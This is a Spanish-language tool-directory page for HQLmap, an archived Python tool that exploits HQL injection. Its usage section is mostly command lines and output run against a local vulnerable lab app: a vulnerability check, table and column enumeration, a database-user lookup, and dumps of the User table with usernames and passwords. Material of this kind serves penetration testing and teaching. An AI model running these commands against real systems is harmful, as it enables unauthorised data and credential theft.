Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HQLmap — (Obsoleto) HQLmap, herramienta automática para explotar inyecciones HQL | Kitploit
Herramientas/GitHubGitHub/paulsec/hqlmap
Escáneres de VulnerabilidadesExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónSeguridad de Bases de DatosArchived
GitHubpaulsec/hqlmap

HQLmap

(Obsoleto) HQLmap, herramienta automática para explotar inyecciones HQL

Ver Repositorio
22843hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

HQLMap

Este proyecto ha sido creado para explotar inyecciones HQL. La herramienta ha sido escrita en Python y se publica bajo la licencia MIT. Desarrollo futuro: tengo en mente desarrollar un módulo específico para SQLmap.

¿Dónde puedes probar la herramienta?

Si deseas un entorno vulnerable rápido donde puedas probar la herramienta, te recomiendo usar RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/

Además, si deseas más información sobre HQLi, consulta esta entrada de blog: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

Instalación

Para instalar este proyecto, solo tienes que clonarlo escribiendo:

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

Uso

Para usar este proyecto, ve al directorio:

root@kitploit:~
cd HQLmap

Y lanza el proyecto:

root@kitploit:~
python HQLmap.py

Luego se muestra el uso:

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

Uso

Esta parte incluye diferentes escenarios.

Comprobando si el host es vulnerable

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

La salida es muy simple:

root@kitploit:~
Host seems vulnerable.

Comprobando con POSTDATA

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

Enumerando tablas

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

Aquí está la salida:

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

Al realizar esta enumeración, el escáner utiliza el archivo predeterminado para los nombres de las tablas si no se especifica. El archivo predeterminado es: db/tables.db

Enumerando columnas

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Al realizar esta enumeración, el escáner utiliza el archivo predeterminado para los nombres de las tablas Y para los nombres de las columnas. Los archivos predeterminados son:

Para tablas: db/tables.db Para columnas: db/columns.db

Comprobando la existencia de una tabla específica

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

Y la salida:

root@kitploit:~
[-] Table foo does not exist.

Enumerando columnas de una tabla específica

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

Y la salida:

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Comprobando la existencia de una columna específica para una tabla específica

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

Y la salida:

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

Opciones de fingerprinting

Obteniendo el recuento de una tabla

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

O para todas las tablas:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

Y la salida:

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

Obteniendo el usuario de la base de datos

Para realizar esta acción, debes especificar una tabla (o todas con el flag --tables) y añadir el flag --user de esta manera:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

Y la salida (después de unos segundos):

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

Para recuperar el usuario, implementé un algoritmo muy similar a una dicotomía "variable".

Volcando la base de datos

Todas las tablas de la base de datos

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

Y la salida:

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

Tabla específica de la base de datos

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

Y la salida:

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

Columna específica de la base de datos

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

Y la salida:

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

Conclusión (& Licencia)

No dudes en dar tu opinión y solicitar nuevas funciones.

Proyecto publicado bajo licencia MIT.

Descargar herramienta